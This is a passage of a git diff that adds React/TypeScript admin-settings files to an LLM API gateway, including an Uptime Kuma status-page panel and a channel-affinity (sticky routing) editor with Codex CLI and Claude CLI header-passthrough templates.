+    setSelectedIds(checked ? groups.map((item) => item.id) : [])
+  }
+
+  const toggleSelectOne = (id: number, checked: boolean) => {
+    setSelectedIds((prev) =>
+      checked ? [...prev, id] : prev.filter((item) => item !== id)
+    )
+  }
+
+  return (
+    <SettingsSection
+      title={t('Uptime Kuma')}
+      description={t(
+        'Expose grouped Uptime Kuma status pages directly on the dashboard'
+      )}
+    >
+      <div className='space-y-4'>
+        <div className='flex flex-wrap items-center justify-between gap-2'>
+          <div className='flex flex-wrap items-center gap-2'>
+            <Button onClick={handleAdd} size='sm'>
+              <Plus className='mr-2 h-4 w-4' />
+              {t('Add Group')}
+            </Button>
+            <Button
+              onClick={handleBatchDelete}
+              size='sm'
+              variant='destructive'
+              disabled={selectedIds.length === 0}
+            >
+              <Trash2 className='mr-2 h-4 w-4' />
+              {t('Delete (')}
+              {selectedIds.length})
+            </Button>
+            <Button
+              onClick={handleSaveAll}
+              size='sm'
+              variant='secondary'
+              disabled={!hasChanges || updateOption.isPending}
+            >
+              <Save className='mr-2 h-4 w-4' />
+              {updateOption.isPending ? t('Saving...') : t('Save Settings')}
+            </Button>
+          </div>
+          <div className='flex items-center gap-2'>
+            <span className='text-muted-foreground text-sm'>
+              {t('Enabled')}
+            </span>
+            <Switch checked={isEnabled} onCheckedChange={handleToggleEnabled} />
+          </div>
+        </div>
+
+        <div className='rounded-md border'>
+          <Table>
+            <TableHeader>
+              <TableRow>
+                <TableHead className='w-12'>
+                  <Checkbox
+                    checked={
+                      selectedIds.length === groups.length && groups.length > 0
+                    }
+                    onCheckedChange={toggleSelectAll}
+                  />
+                </TableHead>
+                <TableHead>{t('Category Name')}</TableHead>
+                <TableHead>{t('Uptime Kuma URL')}</TableHead>
+                <TableHead>{t('Status Page Slug')}</TableHead>
+                <TableHead className='w-32'>{t('Actions')}</TableHead>
+              </TableRow>
+            </TableHeader>
+            <TableBody>
+              {groups.length === 0 ? (
+                <TableRow>
+                  <TableCell colSpan={5} className='h-24 text-center'>
+                    {t(
+                      'No Uptime Kuma groups yet. Click "Add Group" to create one.'
+                    )}
+                  </TableCell>
+                </TableRow>
+              ) : (
+                groups.map((group) => (
+                  <TableRow key={group.id}>
+                    <TableCell>
+                      <Checkbox
+                        checked={selectedIds.includes(group.id)}
+                        onCheckedChange={(checked) =>
+                          toggleSelectOne(group.id, checked as boolean)
+                        }
+                      />
+                    </TableCell>
+                    <TableCell className='font-medium'>
+                      {group.categoryName}
+                    </TableCell>
+                    <TableCell
+                      className='text-primary max-w-xs truncate font-mono text-sm'
+                      title={group.url}
+                    >
+                      {group.url}
+                    </TableCell>
+                    <TableCell className='text-muted-foreground font-mono text-sm'>
+                      {group.slug}
+                    </TableCell>
+                    <TableCell>
+                      <div className='flex gap-2'>
+                        <Button
+                          onClick={() => handleEdit(group)}
+                          size='sm'
+                          variant='ghost'
+                        >
+                          <Edit className='h-4 w-4' />
+                        </Button>
+                        <Button
+                          onClick={() => handleDelete(group)}
+                          size='sm'
+                          variant='ghost'
+                        >
+                          <Trash2 className='h-4 w-4' />
+                        </Button>
+                      </div>
+                    </TableCell>
+                  </TableRow>
+                ))
+              )}
+            </TableBody>
+          </Table>
+        </div>
+      </div>
+
+      <Dialog open={showDialog} onOpenChange={setShowDialog}>
+        <DialogContent>
+          <DialogHeader>
+            <DialogTitle>
+              {editingGroup
+                ? t('Edit Uptime Kuma Group')
+                : t('Add Uptime Kuma Group')}
+            </DialogTitle>
+            <DialogDescription>
+              {t('Configure monitoring status page groups for the dashboard')}
+            </DialogDescription>
+          </DialogHeader>
+          <Form {...form}>
+            <form
+              onSubmit={form.handleSubmit(handleSubmitForm)}
+              className='space-y-4'
+            >
+              <FormField
+                control={form.control}
+                name='categoryName'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Category Name')}</FormLabel>
+                    <FormControl>
+                      <Input
+                        placeholder={t('e.g., Core APIs, OpenAI, Claude')}
+                        {...field}
+                      />
+                    </FormControl>
+                    <FormDescription>
+                      {t(
+                        'Display name for this monitoring group (max 50 characters)'
+                      )}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+              <FormField
+                control={form.control}
+                name='url'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Uptime Kuma URL')}</FormLabel>
+                    <FormControl>
+                      <Input
+                        placeholder={t('https://status.example.com')}
+                        {...field}
+                      />
+                    </FormControl>
+                    <FormDescription>
+                      {t('Base URL of your Uptime Kuma instance')}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+              <FormField
+                control={form.control}
+                name='slug'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Status Page Slug')}</FormLabel>
+                    <FormControl>
+                      <Input placeholder={t('my-status')} {...field} />
+                    </FormControl>
+                    <FormDescription>
+                      {t('The slug is appended to the URL:')} {'{url}'}
+                      {t('/status/')}
+                      {'{slug}'}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+              <DialogFooter>
+                <Button
+                  type='button'
+                  variant='outline'
+                  onClick={() => setShowDialog(false)}
+                >
+                  {t('Cancel')}
+                </Button>
+                <Button type='submit'>
+                  {editingGroup ? t('Update') : t('Add')}
+                </Button>
+              </DialogFooter>
+            </form>
+          </Form>
+        </DialogContent>
+      </Dialog>
+
+      <AlertDialog open={showDeleteDialog} onOpenChange={setShowDeleteDialog}>
+        <AlertDialogContent>
+          <AlertDialogHeader>
+            <AlertDialogTitle>{t('Are you sure?')}</AlertDialogTitle>
+            <AlertDialogDescription>
+              {deleteTarget === 'single'
+                ? 'This Uptime Kuma group will be removed from the list.'
+                : `${selectedIds.length} Uptime Kuma groups will be removed from the list.`}
+            </AlertDialogDescription>
+          </AlertDialogHeader>
+          <AlertDialogFooter>
+            <AlertDialogCancel>{t('Cancel')}</AlertDialogCancel>
+            <AlertDialogAction onClick={confirmDelete}>
+              {t('Delete')}
+            </AlertDialogAction>
+          </AlertDialogFooter>
+        </AlertDialogContent>
+      </AlertDialog>
+    </SettingsSection>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/content/utils.ts b/new-api/web/default/src/features/system-settings/content/utils.ts
new file mode 100644
index 0000000..cf09050
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/content/utils.ts
@@ -0,0 +1,19 @@
+export function formatJsonForEditor(value: string, fallback = '[]') {
+  const target = value && value.trim() ? value : fallback
+  try {
+    const parsed = JSON.parse(target)
+    return JSON.stringify(parsed, null, 2)
+  } catch {
+    return target
+  }
+}
+
+export function normalizeJsonString(value: string, fallback = '[]') {
+  const target = value && value.trim() ? value : fallback
+  try {
+    const parsed = JSON.parse(target)
+    return JSON.stringify(parsed)
+  } catch {
+    return target.trim()
+  }
+}
diff --git a/new-api/web/default/src/features/system-settings/general/channel-affinity/api.ts b/new-api/web/default/src/features/system-settings/general/channel-affinity/api.ts
new file mode 100644
index 0000000..6169da6
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/general/channel-affinity/api.ts
@@ -0,0 +1,45 @@
+import { api } from '@/lib/api'
+import type { CacheStats } from './types'
+
+export async function getCacheStats(): Promise<{
+  success: boolean
+  message?: string
+  data?: CacheStats
+}> {
+  const res = await api.get('/api/option/channel_affinity_cache', {
+    disableDuplicate: true,
+  } as Record<string, unknown>)
+  return res.data
+}
+
+export async function clearAllCache(): Promise<{
+  success: boolean
+  message?: string
+}> {
+  const res = await api.delete('/api/option/channel_affinity_cache', {
+    params: { all: true },
+  })
+  return res.data
+}
+
+export async function clearRuleCache(
+  ruleName: string
+): Promise<{ success: boolean; message?: string }> {
+  const res = await api.delete('/api/option/channel_affinity_cache', {
+    params: { rule_name: ruleName },
+  })
+  return res.data
+}
+
+export async function getAffinityUsageCache(params: {
+  rule_name: string
+  using_group: string
+  key_hint: string
+  key_fp: string
+}): Promise<{ success: boolean; message?: string; data?: unknown }> {
+  const res = await api.get('/api/log/channel_affinity_usage_cache', {
+    params,
+    disableDuplicate: true,
+  } as Record<string, unknown>)
+  return res.data
+}
diff --git a/new-api/web/default/src/features/system-settings/general/channel-affinity/cache-stats-dialog.tsx b/new-api/web/default/src/features/system-settings/general/channel-affinity/cache-stats-dialog.tsx
new file mode 100644
index 0000000..0f79d8e
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/general/channel-affinity/cache-stats-dialog.tsx
@@ -0,0 +1,154 @@
+import { useEffect, useMemo, useState, useRef } from 'react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { formatTimestampToDate } from '@/lib/format'
+import {
+  Dialog,
+  DialogContent,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import { getAffinityUsageCache } from './api'
+
+function formatRate(hit: number, total: number): string {
+  if (!total || total <= 0) return '-'
+  const r = (hit / total) * 100
+  if (!Number.isFinite(r)) return '-'
+  return `${r.toFixed(2)}%`
+}
+
+interface Props {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  target: {
+    rule_name: string
+    using_group: string
+    key_hint: string
+    key_fp: string
+  } | null
+}
+
+export function CacheStatsDialog(props: Props) {
+  const { t } = useTranslation()
+  const [loading, setLoading] = useState(false)
+  const [stats, setStats] = useState<Record<string, unknown> | null>(null)
+  const seqRef = useRef(0)
+
+  useEffect(() => {
+    if (!props.open || !props.target?.rule_name || !props.target?.key_fp) {
+      // eslint-disable-next-line react-hooks/set-state-in-effect
+      setStats(null)
+      return
+    }
+
+    const seq = ++seqRef.current
+
+    setLoading(true)
+
+    setStats(null)
+
+    getAffinityUsageCache(props.target)
+      .then((res) => {
+        if (seq !== seqRef.current) return
+        if (res.success) setStats((res.data as Record<string, unknown>) || {})
+        else toast.error(res.message || t('Request failed'))
+      })
+      .catch(() => {
+        if (seq !== seqRef.current) return
+        toast.error(t('Request failed'))
+      })
+      .finally(() => {
+        if (seq !== seqRef.current) return
+        setLoading(false)
+      })
+  }, [props.open, props.target, t])
+
+  const rows = useMemo(() => {
+    if (!stats) return []
+    const s = stats
+    const data: { key: string; value: string | number }[] = []
+    const hit = Number(s.hit || 0)
+    const total = Number(s.total || 0)
+
+    if (s.rule_name || props.target?.rule_name)
+      data.push({
+        key: t('Rule'),
+        value: (s.rule_name || props.target?.rule_name || '') as string,
+      })
+    if (s.using_group || props.target?.using_group)
+      data.push({
+        key: t('Group'),
+        value: (s.using_group || props.target?.using_group || '') as string,
+      })
+    if (props.target?.key_hint)
+      data.push({ key: t('Key Summary'), value: props.target.key_hint })
+    if (s.key_fp || props.target?.key_fp)
+      data.push({
+        key: t('Key Fingerprint'),
+        value: (s.key_fp || props.target?.key_fp || '') as string,
+      })
+    if (Number(s.window_seconds || 0) > 0)
+      data.push({ key: t('TTL (seconds)'), value: s.window_seconds as number })
+    if (total > 0)
+      data.push({
+        key: t('Hit Rate'),
+        value: `${hit}/${total} (${formatRate(hit, total)})`,
+      })
+    if (Number(s.last_seen_at || 0) > 0)
+      data.push({
+        key: t('Last Seen'),
+        value: formatTimestampToDate(s.last_seen_at as number | undefined),
+      })
+
+    const promptTokens = Number(s.prompt_tokens || 0)
+    const cachedTokens = Number(s.cached_tokens || 0)
+    const completionTokens = Number(s.completion_tokens || 0)
+    const totalTokens = Number(s.total_tokens || 0)
+
+    if (promptTokens > 0)
+      data.push({ key: 'Prompt tokens', value: promptTokens })
+    if (cachedTokens > 0)
+      data.push({ key: 'Cached tokens', value: cachedTokens })
+    if (completionTokens > 0)
+      data.push({ key: 'Completion tokens', value: completionTokens })
+    if (totalTokens > 0) data.push({ key: 'Total tokens', value: totalTokens })
+
+    return data
+  }, [stats, props.target, t])
+
+  return (
+    <Dialog open={props.open} onOpenChange={props.onOpenChange}>
+      <DialogContent className='sm:max-w-lg'>
+        <DialogHeader>
+          <DialogTitle>{t('Channel Affinity: Upstream Cache Hit')}</DialogTitle>
+        </DialogHeader>
+        <p className='text-muted-foreground text-xs'>
+          {t(
+            'Hit criteria: If cached tokens exist in usage, it counts as a hit.'
+          )}
+        </p>
+        {loading ? (
+          <div className='text-muted-foreground py-8 text-center text-sm'>
+            {t('Loading...')}
+          </div>
+        ) : rows.length > 0 ? (
+          <div className='space-y-2'>
+            {rows.map((row) => (
+              <div
+                key={row.key}
+                className='flex justify-between border-b pb-1 text-sm'
+              >
+                <span className='text-muted-foreground'>{row.key}</span>
+                <span className='font-medium'>{row.value}</span>
+              </div>
+            ))}
+          </div>
+        ) : (
+          <div className='text-muted-foreground py-8 text-center text-sm'>
+            {t('No data available')}
+          </div>
+        )}
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/general/channel-affinity/constants.ts b/new-api/web/default/src/features/system-settings/general/channel-affinity/constants.ts
new file mode 100644
index 0000000..22529c6
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/general/channel-affinity/constants.ts
@@ -0,0 +1,89 @@
+import type { AffinityRule } from './types'
+
+const CODEX_CLI_HEADER_PASSTHROUGH_HEADERS = [
+  'Originator',
+  'Session_id',
+  'User-Agent',
+  'X-Codex-Beta-Features',
+  'X-Codex-Turn-Metadata',
+]
+
+const CLAUDE_CLI_HEADER_PASSTHROUGH_HEADERS = [
+  'X-Stainless-Arch',
+  'X-Stainless-Lang',
+  'X-Stainless-Os',
+  'X-Stainless-Package-Version',
+  'X-Stainless-Retry-Count',
+  'X-Stainless-Runtime',
+  'X-Stainless-Runtime-Version',
+  'X-Stainless-Timeout',
+  'User-Agent',
+  'X-App',
+  'Anthropic-Beta',
+  'Anthropic-Dangerous-Direct-Browser-Access',
+  'Anthropic-Version',
+]
+
+function buildPassHeadersTemplate(headers: string[]) {
+  return {
+    operations: [
+      {
+        mode: 'pass_headers',
+        value: [...headers],
+        keep_origin: true,
+      },
+    ],
+  }
+}
+
+export type RuleTemplate = Omit<AffinityRule, 'id'>
+
+export const RULE_TEMPLATES: Record<string, RuleTemplate> = {
+  codexCli: {
+    name: 'codex cli trace',
+    model_regex: ['^gpt-.*$'],
+    path_regex: ['/v1/responses'],
+    key_sources: [{ type: 'gjson', path: 'prompt_cache_key' }],
+    param_override_template: buildPassHeadersTemplate(
+      CODEX_CLI_HEADER_PASSTHROUGH_HEADERS
+    ),
+    value_regex: '',
+    ttl_seconds: 0,
+    skip_retry_on_failure: true,
+    include_using_group: true,
+    include_model_name: false,
+    include_rule_name: true,
+  },
+  claudeCli: {
+    name: 'claude cli trace',
+    model_regex: ['^claude-.*$'],
+    path_regex: ['/v1/messages'],
+    key_sources: [{ type: 'gjson', path: 'metadata.user_id' }],
+    param_override_template: buildPassHeadersTemplate(
+      CLAUDE_CLI_HEADER_PASSTHROUGH_HEADERS
+    ),
+    value_regex: '',
+    ttl_seconds: 0,
+    skip_retry_on_failure: true,
+    include_using_group: true,
+    include_model_name: false,
+    include_rule_name: true,
+  },
+}
+
+export function makeUniqueName(
+  existingNames: Set<string>,
+  baseName: string
+): string {
+  const base = (baseName || '').trim() || 'rule'
+  if (!existingNames.has(base)) return base
+  for (let i = 2; i < 1000; i++) {
+    const n = `${base}-${i}`
+    if (!existingNames.has(n)) return n
+  }
+  return `${base}-${Date.now()}`
+}
+
+export function cloneTemplate<T>(template: T): T {
+  return JSON.parse(JSON.stringify(template))
+}
diff --git a/new-api/web/default/src/features/system-settings/general/channel-affinity/index.tsx b/new-api/web/default/src/features/system-settings/general/channel-affinity/index.tsx
new file mode 100644
index 0000000..07068fb
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/general/channel-affinity/index.tsx
@@ -0,0 +1,696 @@
+import { useCallback, useEffect, useState } from 'react'
+import { Edit, FileText, Plus, RefreshCw, Trash2, X } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { Alert, AlertDescription } from '@/components/ui/alert'
+import { Button } from '@/components/ui/button'
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+} from '@/components/ui/dropdown-menu'
+import { Input } from '@/components/ui/input'
+import { Label } from '@/components/ui/label'
+import { Separator } from '@/components/ui/separator'
+import { Switch } from '@/components/ui/switch'
+import {
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
+} from '@/components/ui/table'
+import { Textarea } from '@/components/ui/textarea'
+import { ConfirmDialog } from '@/components/confirm-dialog'
+import { StatusBadge } from '@/components/status-badge'
+import { SettingsSection } from '../../components/settings-section'
+import { useUpdateOption } from '../../hooks/use-update-option'
+import { getCacheStats, clearAllCache, clearRuleCache } from './api'
+import { RULE_TEMPLATES, cloneTemplate, makeUniqueName } from './constants'
+import { RuleEditorDialog } from './rule-editor-dialog'
+import type { AffinityRule, CacheStats, ChannelAffinitySettings } from './types'
+
+function parseRules(jsonStr: string): AffinityRule[] {
+  try {
+    const arr = JSON.parse(jsonStr || '[]')
+    if (!Array.isArray(arr)) return []
+    return arr.map(
+      (r: Record<string, unknown>, i: number) =>
+        ({ id: i, ...r }) as AffinityRule
+    )
+  } catch {
+    return []
+  }
+}
+
+function serializeRules(rules: AffinityRule[]): string {
+  return JSON.stringify(rules.map(({ id: _, ...rest }) => rest))
+}
+
+interface Props {
+  defaultValues: ChannelAffinitySettings
+}
+
+export function ChannelAffinitySection(props: Props) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+
+  const [enabled, setEnabled] = useState(
+    props.defaultValues['channel_affinity_setting.enabled']
+  )
+  const [switchOnSuccess, setSwitchOnSuccess] = useState(
+    props.defaultValues['channel_affinity_setting.switch_on_success']
+  )
+  const [maxEntries, setMaxEntries] = useState(
+    props.defaultValues['channel_affinity_setting.max_entries']
+  )
+  const [defaultTtl, setDefaultTtl] = useState(
+    props.defaultValues['channel_affinity_setting.default_ttl_seconds']
+  )
+  const [rules, setRules] = useState<AffinityRule[]>(() =>
+    parseRules(props.defaultValues['channel_affinity_setting.rules'])
+  )
+
+  const [editMode, setEditMode] = useState<'visual' | 'json'>('visual')
+  const [jsonText, setJsonText] = useState(() =>
+    JSON.stringify(
+      parseRules(props.defaultValues['channel_affinity_setting.rules']).map(
+        ({ id: _, ...r }) => r
+      ),
+      null,
+      2
+    )
+  )
+  const [cacheStats, setCacheStats] = useState<CacheStats | null>(null)
+  const [cacheLoading, setCacheLoading] = useState(false)
+  const [saving, setSaving] = useState(false)
+
+  const [ruleEditorOpen, setRuleEditorOpen] = useState(false)
+  const [editingRule, setEditingRule] = useState<AffinityRule | null>(null)
+  const [ruleTemplateKey, setRuleTemplateKey] = useState<string | null>(null)
+  const [clearAllDialogOpen, setClearAllDialogOpen] = useState(false)
+  const [clearRuleName, setClearRuleName] = useState<string | null>(null)
+  const [fillTemplateDialogOpen, setFillTemplateDialogOpen] = useState(false)
+
+  useEffect(() => {
+    setEnabled(props.defaultValues['channel_affinity_setting.enabled'])
+    setSwitchOnSuccess(
+      props.defaultValues['channel_affinity_setting.switch_on_success']
+    )
+    setMaxEntries(props.defaultValues['channel_affinity_setting.max_entries'])
+    setDefaultTtl(
+      props.defaultValues['channel_affinity_setting.default_ttl_seconds']
+    )
+    const parsed = parseRules(
+      props.defaultValues['channel_affinity_setting.rules']
+    )
+    setRules(parsed)
+    setJsonText(
+      JSON.stringify(
+        parsed.map(({ id: _, ...r }) => r),
+        null,
+        2
+      )
+    )
+  }, [props.defaultValues])
+
+  const refreshCache = useCallback(async () => {
+    setCacheLoading(true)
+    try {
+      const res = await getCacheStats()
+      if (res.success) setCacheStats(res.data || null)
+    } catch {
+      toast.error(t('Failed to refresh cache stats'))
+    } finally {
+      setCacheLoading(false)
+    }
+  }, [t])
+
+  useEffect(() => {
+    refreshCache()
+  }, [refreshCache])
+
+  const appendCliTemplates = () => {
+    const existingNames = new Set(
+      rules.map((r) => (r.name || '').trim()).filter((x) => x.length > 0)
+    )
+
+    const templates = Object.values(RULE_TEMPLATES).map((tpl) => {
+      const base = cloneTemplate(tpl)
+      const name = makeUniqueName(existingNames, tpl.name)
+      existingNames.add(name)
+      return { ...base, name }
+    })
+
+    setRules((prev) =>
+      [...prev, ...templates].map((r, idx) => ({ ...r, id: idx }))
+    )
+    toast.success(t('Templates appended'))
+    setFillTemplateDialogOpen(false)
+  }
+
+  const handleFillTemplates = () => {
+    if (rules.length === 0) {
+      appendCliTemplates()
+    } else {
+      setFillTemplateDialogOpen(true)
+    }
+  }
+
+  const handleSave = async () => {
+    let rulesJson: string
+    if (editMode === 'json') {
+      try {
+        const parsed = JSON.parse(jsonText)
+        if (!Array.isArray(parsed)) {
+          toast.error(t('Rules JSON must be an array'))
+          return
+        }
+        rulesJson = JSON.stringify(parsed)
+      } catch {
+        toast.error(t('Invalid rules JSON format'))
+        return
+      }
+    } else {
+      rulesJson = serializeRules(rules)
+    }
+
+    setSaving(true)
+    try {
+      const updates: { key: string; value: string }[] = []
+
+      if (enabled !== props.defaultValues['channel_affinity_setting.enabled'])
+        updates.push({
+          key: 'channel_affinity_setting.enabled',
+          value: String(enabled),
+        })
+      if (
+        switchOnSuccess !==
+        props.defaultValues['channel_affinity_setting.switch_on_success']
+      )
+        updates.push({
+          key: 'channel_affinity_setting.switch_on_success',
+          value: String(switchOnSuccess),
+        })
+      if (
+        maxEntries !==
+        props.defaultValues['channel_affinity_setting.max_entries']
+      )
+        updates.push({
+          key: 'channel_affinity_setting.max_entries',
+          value: String(maxEntries),
+        })
+      if (
+        defaultTtl !==
+        props.defaultValues['channel_affinity_setting.default_ttl_seconds']
+      )
+        updates.push({
+          key: 'channel_affinity_setting.default_ttl_seconds',
+          value: String(defaultTtl),
+        })
+
+      const origRules = props.defaultValues['channel_affinity_setting.rules']
+      const origSerialized = (() => {
+        try {
+          return JSON.stringify(JSON.parse(origRules || '[]'))
+        } catch {
+          return '[]'
+        }
+      })()
+      if (rulesJson !== origSerialized) {
+        updates.push({
+          key: 'channel_affinity_setting.rules',
+          value: rulesJson,
+        })
+      }
+
+      if (updates.length === 0) {
+        toast.info(t('No changes'))
+        return
+      }
+
+      for (const u of updates) {
+        await updateOption.mutateAsync(u)
+      }
+      toast.success(t('Saved successfully'))
+    } catch {
+      toast.error(t('Failed to save'))
+    } finally {
+      setSaving(false)
+    }
+  }
+
+  const handleRuleSave = (rule: AffinityRule) => {
+    setRules((prev) => {
+      const existIdx = prev.findIndex(
+        (r) => r.id === rule.id || (rule.name && r.name === editingRule?.name)
+      )
+      if (existIdx >= 0) {
+        const next = [...prev]
+        next[existIdx] = { ...rule, id: existIdx }
+        return next
+      }
+      return [...prev, { ...rule, id: prev.length }]
+    })
+    setEditingRule(null)
+  }
+
+  const handleDeleteRule = (idx: number) => {
+    setRules((prev) =>
+      prev.filter((_, i) => i !== idx).map((r, i) => ({ ...r, id: i }))
+    )
+    toast.success(t('Deleted successfully'))
+  }
+
+  const handleClearAll = async () => {
+    const res = await clearAllCache()
+    if (res.success) {
+      toast.success(t('Cleared'))
+      refreshCache()
+    }
+    setClearAllDialogOpen(false)
+  }
+
+  const handleClearRule = async () => {
+    if (!clearRuleName) return
+    const res = await clearRuleCache(clearRuleName)
+    if (res.success) {
+      toast.success(t('Cleared'))
+      refreshCache()
+    }
+    setClearRuleName(null)
+  }
+
+  const switchToJsonMode = () => {
+    setJsonText(
+      JSON.stringify(
+        rules.map(({ id: _, ...r }) => r),
+        null,
+        2
+      )
+    )
+    setEditMode('json')
+  }
+
+  const switchToVisualMode = () => {
+    try {
+      const parsed = JSON.parse(jsonText)
+      if (!Array.isArray(parsed)) {
+        toast.error(t('Rules JSON must be an array'))
+        return
+      }
+      setRules(
+        parsed.map(
+          (r: Record<string, unknown>, i: number) =>
+            ({ id: i, ...r }) as AffinityRule
+        )
+      )
+      setEditMode('visual')
+    } catch {
+      toast.error(t('Invalid rules JSON format'))
+    }
+  }
+
+  return (
+    <>
+      <SettingsSection
+        title={t('Channel Affinity')}
+        description={t(
+          'Prioritize reusing the last successful channel based on keys extracted from request context (sticky routing)'
+        )}
+      >
+        <Alert>
+          <AlertDescription className='text-xs'>
+            {t(
+              'Channel affinity reuses the last successful channel based on keys extracted from the request context or JSON body.'
+            )}
+          </AlertDescription>
+        </Alert>
+
+        {/* Basic Settings */}
+        <div className='grid grid-cols-1 gap-4 md:grid-cols-3'>
+          <div className='flex items-center gap-2'>
+            <Switch checked={enabled} onCheckedChange={setEnabled} />
+            <Label>{t('Enable')}</Label>
+          </div>
+          <div className='grid gap-1.5'>
+            <Label>{t('Max Entries')}</Label>
+            <Input
+              type='number'
+              min={0}
+              value={maxEntries}
+              onChange={(e) => setMaxEntries(Number(e.target.value))}
+            />
+          </div>
+          <div className='grid gap-1.5'>
+            <Label>{t('Default TTL (seconds)')}</Label>
+            <Input
+              type='number'
+              min={0}
+              value={defaultTtl}
+              onChange={(e) => setDefaultTtl(Number(e.target.value))}
+            />
+          </div>
+        </div>
+
+        <div className='flex items-center gap-2'>
+          <Switch
+            checked={switchOnSuccess}
+            onCheckedChange={setSwitchOnSuccess}
+          />
+          <Label>{t('Switch affinity on success')}</Label>
+          <span className='text-muted-foreground text-xs'>
+            {t(
+              'If the affinity channel fails and retry succeeds on another channel, update affinity to the successful channel.'
+            )}
+          </span>
+        </div>
+
+        <Separator />
+
+        {/* Toolbar */}
+        <div className='flex flex-wrap items-center gap-2'>
+          <Button
+            variant={editMode === 'visual' ? 'default' : 'outline'}
+            size='sm'
+            onClick={editMode === 'json' ? switchToVisualMode : undefined}
+          >
+            {t('Visual')}
+          </Button>
+          <Button
+            variant={editMode === 'json' ? 'default' : 'outline'}
+            size='sm'
+            onClick={editMode === 'visual' ? switchToJsonMode : undefined}
+          >
+            JSON
+          </Button>
+          <DropdownMenu>
+            <DropdownMenuTrigger asChild>
+              <Button variant='outline' size='sm'>
+                <Plus className='mr-1 h-3 w-3' />
+                {t('Add Rule')}
+              </Button>
+            </DropdownMenuTrigger>
+            <DropdownMenuContent>
+              <DropdownMenuItem
+                onClick={() => {
+                  setEditingRule(null)
+                  setRuleTemplateKey(null)
+                  setRuleEditorOpen(true)
+                }}
+              >
+                {t('Blank Rule')}
+              </DropdownMenuItem>
+              <DropdownMenuItem
+                onClick={() => {
+                  setEditingRule(null)
+                  setRuleTemplateKey('codexCli')
+                  setRuleEditorOpen(true)
+                }}
+              >
+                Codex CLI
+              </DropdownMenuItem>
+              <DropdownMenuItem
+                onClick={() => {
+                  setEditingRule(null)
+                  setRuleTemplateKey('claudeCli')
+                  setRuleEditorOpen(true)
+                }}
+              >
+                Claude CLI
+              </DropdownMenuItem>
+            </DropdownMenuContent>
+          </DropdownMenu>
+          <Button variant='outline' size='sm' onClick={handleFillTemplates}>
+            <FileText className='mr-1 h-3 w-3' />
+            {t('Fill Templates')}
+          </Button>
+          <Button size='sm' onClick={handleSave} disabled={saving}>
+            {saving ? t('Saving...') : t('Save')}
+          </Button>
+          <Button
+            variant='outline'
+            size='sm'
+            onClick={refreshCache}
+            disabled={cacheLoading}
+          >
+            <RefreshCw
+              className={`mr-1 h-3 w-3 ${cacheLoading ? 'animate-spin' : ''}`}
+            />
+            {t('Refresh Cache')}
+          </Button>
+          <Button
+            variant='destructive'
+            size='sm'
+            onClick={() => setClearAllDialogOpen(true)}
+          >
+            {t('Clear All Cache')}
+          </Button>
+          {cacheStats && (
+            <span className='text-muted-foreground text-xs'>
+              {t('Cache Entries')}: {cacheStats.total} /{' '}
+              {cacheStats.cache_capacity}
+            </span>
+          )}
+        </div>
+
+        {/* Rules Table or JSON Editor */}
+        {editMode === 'visual' ? (
+          <div className='overflow-x-auto rounded-md border'>
+            <Table>
+              <TableHeader>
+                <TableRow>
+                  <TableHead>{t('Name')}</TableHead>
+                  <TableHead>{t('Model Regex')}</TableHead>
+                  <TableHead>{t('Key Sources')}</TableHead>
+                  <TableHead>{t('TTL')}</TableHead>
+                  <TableHead>{t('Retry')}</TableHead>
+                  <TableHead>{t('Scope')}</TableHead>
+                  <TableHead>{t('Cache')}</TableHead>
+                  <TableHead className='text-right'>{t('Actions')}</TableHead>
+                </TableRow>
+              </TableHeader>
+              <TableBody>
+                {rules.length === 0 ? (
+                  <TableRow>
+                    <TableCell
+                      colSpan={8}
+                      className='text-muted-foreground py-8 text-center'
+                    >
+                      {t('No rules yet')}
+                    </TableCell>
+                  </TableRow>
+                ) : (
+                  rules.map((rule, idx) => (
+                    <TableRow key={idx}>
+                      <TableCell className='font-medium'>
+                        {rule.name || '-'}
+                      </TableCell>
+                      <TableCell>
+                        <div className='text-muted-foreground flex items-center gap-1.5 text-xs font-medium'>
+                          {(rule.model_regex || []).length > 0 && (
+                            <span
+                              className='size-1.5 shrink-0 rounded-full bg-slate-400'
+                              aria-hidden='true'
+                            />
+                          )}
+                          {(rule.model_regex || [])
+                            .slice(0, 2)
+                            .map((r, i, arr) => (
+                              <span
+                                key={i}
+                                className='flex items-center gap-1.5'
+                              >
+                                {r}
+                                {i < arr.length - 1 && (
+                                  <span className='text-muted-foreground/30'>
+                                    ·
+                                  </span>
+                                )}
+                              </span>
+                            ))}
+                          {(rule.model_regex || []).length > 2 && (
+                            <span className='text-muted-foreground/50'>
+                              +{(rule.model_regex || []).length - 2}
+                            </span>
+                          )}
+                        </div>
+                      </TableCell>
+                      <TableCell>
+                        <div className='text-muted-foreground flex items-center gap-1.5 text-xs font-medium'>
+                          {(rule.key_sources || []).length > 0 && (
+                            <span
+                              className='size-1.5 shrink-0 rounded-full bg-slate-400'
+                              aria-hidden='true'
+                            />
+                          )}
+                          {(rule.key_sources || [])
+                            .slice(0, 2)
+                            .map((src, i, arr) => (
+                              <span
+                                key={i}
+                                className='flex items-center gap-1.5'
+                              >
+                                {src.type}:
+                                {src.type === 'gjson' ? src.path : src.key}
+                                {i < arr.length - 1 && (
